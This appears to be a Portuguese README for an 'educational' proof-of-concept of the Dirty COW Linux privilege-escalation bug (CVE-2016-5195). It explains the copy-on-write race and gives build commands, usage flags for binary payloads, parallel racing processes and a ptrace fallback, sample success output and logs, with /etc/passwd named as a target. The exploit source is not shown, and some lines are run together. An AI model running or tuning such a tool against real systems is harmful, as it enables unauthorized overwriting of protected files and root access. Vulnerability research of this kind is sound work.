
PoC educacional para Dirty COW (CVE-2016-5195) com logging, fallback de ptrace e suporte a payload binário.
Este código é somente para FINS EDUCACIONAIS. Qualquer uso malicioso é estritamente proibido e ilegal.
O Dirty COW (CVE-2016-5195) é uma vulnerabilidade de escalonamento de privilégios no kernel Linux que explora uma condição de corrida no mecanismo copy-on-write (COW) do kernel. Esta vulnerabilidade afeta kernels Linux da versão 2.6.22 (lançada em 2007) até versões anteriores a:
A vulnerabilidade ocorre no sistema de gerenciamento de memória do kernel:
MAP_PRIVATE, as modificações devem criar uma cópia privadamadvise(MADV_DONTNEED) e a escrita em /proc/self/mem/etc/passwdNUNCA execute isso em sistemas de produção ou sistemas que você não possui!
# 1. Check kernel version first
uname -r
# 2. Create isolated test directory
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test
# 3. Test with harmless files only
./main -t /tmp/test_file -v
# 4. Monitor system resources
top -p $(pgrep -f main)
# Install required packages (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev
# Install required packages (CentOS/RHEL)
sudo yum install gcc openssl-devel
# Standard compilation
make
# Debug version
make main-debug
# Manual compilation
gcc -o main main.c -lpthread -lssl -lcrypto
# Simple test with default settings
./main
# Verbose mode with custom target
./main -t /tmp/testfile -v
# Advanced usage with multiple processes
./main -t /tmp/target -n 4 -r 3 -D -v
# Binary payload from file
./main -f payload.bin -P -D -n 2
/proc/self/mem (padrão)ptrace(PTRACE_POKETEXT) para sistemas restritosVarre múltiplos offsets de memória para encontrar a melhor posição de escrita:
./main -D -v # Enable dynamic offset scanning
Lance múltiplos processos para condições de corrida intensas:
./main -n 4 # Use 4 parallel processes
Carregue dados binários arbitrários de arquivos:
# Create binary payload
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin
# Use binary payload
./main -f payload.bin -v
Repita tentativas falhas automaticamente:
./main -r 5 # Retry up to 5 times
Usa hash SHA-256 para verificar modificações em arquivos:
# Check original vs modified file hashes
./main -v # Shows hash comparison in verbose mode
Dirty COW Educational PoC (CVE-2016-5195)
==========================================
=== SYSTEM INFORMATION ===
Kernel Version: Linux 4.4.0-generic
Architecture: x86_64
Current User: testuser
UID/GID: 1000/1000
=== VULNERABILITY CHECK ===
Kernel: Linux version 4.4.0-generic
[+] /proc/self/mem accessible
=== STARTING TEST ===
=== EXPLOIT EXECUTION ===
[+] Target: /tmp/dirty_cow_test
[+] Payload length: 32 bytes
[+] Iterations: 10000000
[+] Processes: 1
[+] Method: /proc/self/mem
[+] Dynamic offset: disabled
[+] Backup created: /tmp/dirty_cow_test.backup
[+] Original content: original-content-before-exploit
[+] Starting race condition test...
[+] EXPLOIT SUCCESSFUL on attempt 1!
[+] File hash changed - modification confirmed!
[+] Original: a1b2c3d4e5f6...
[+] Final: f6e5d4c3b2a1...
=== TEST SUCCESSFUL ===
[+] File modification completed
[+] Educational objective achieved
[+] Statistics: 156789 writes, 1 successful, 2.347 sec
A ferramenta cria logs detalhados em exploit_log.txt:
[2024-01-15 10:30:45] System Info - UID/GID: 1000/1000
[2024-01-15 10:30:45] Kernel version: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Starting exploit - Target: /tmp/test, Payload: 32 bytes
[2024-01-15 10:30:47] EXPLOIT SUCCESSFUL on attempt 1
[2024-01-15 10:30:47] Final stats - Writes: 156789, Successful: 1, Duration: 2.347 sec
# Test basic exploit functionality
./main -t /tmp/basic_test -v
# High-intensity race condition test
./main -i 50000000 -n 4 -r 3 -D -v
# Test when /proc/self/mem is blocked
./main -P -D -v
# Test with binary data containing null bytes
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v
O exploit funciona criando uma corrida entre duas operações:
madvise(MADV_DONTNEED) - Diz ao kernel para descartar páginas de memória/proc/self/mem - Tenta escrever na memória mapeadaMAP_PRIVATEQuando a condição de corrida é bem-sucedida:
1. "Exploit falhou ou iterações insuficientes"
-i ou use múltiplos processos com -n2. "Falha no acesso a /proc/self/mem"
-P3. "O sistema pode não ser vulnerável"
uname -r4. O sistema fica sem resposta
-i 1000000-n 1# Conservative settings (slower but safer)
./main -i 5000000 -n 1
# Aggressive settings (faster but resource intensive)
./main -i 50000000 -n 4 -D
# Balanced settings
./main -i 20000000 -n 2 -r 2 -D
Esta é uma ferramenta educacional. As contribuições devem focar em:
Este software é fornecido apenas para fins educacionais e de pesquisa. Os autores e contribuidores não são responsáveis por qualquer uso indevido ou dano causado por este programa. Os usuários são os únicos responsáveis por garantir que tenham autorização adequada antes de testar em qualquer sistema.
Ao usar este software, você reconhece que:
Este projeto é lançado sob a Licença MIT apenas para fins educacionais.
Lembre-se: Com grandes poderes vêm grandes responsabilidades. Use este conhecimento para proteger e assegurar sistemas, não para prejudicá-los.
| Option | Descrição | Padrão | Máx. |
|---|
-t <file> | Caminho do arquivo alvo | /tmp/dirty_cow_test | - |
-p <payload> | Payload de texto personalizado | String de teste | - |
-f <file> | Carregar payload binário de arquivo | - | - |
-i <num> | Número de iterações | 10,000,000 | 100,000,000 |
-n <num> | Número de processos paralelos | 1 | 8 |
-r <num> | Tentativas de repetição (retry) | 1 | 10 |
-P | Usar ptrace em vez de /proc/self/mem | Desabilitado | - |
-D | Habilitar varredura dinâmica de offsets | Desabilitado | - |
-v | Saída detalhada (verbose) | Desabilitado | - |
-l <file> | Caminho do arquivo de log | exploit_log.txt | - |
-h | Mostrar ajuda | - | - |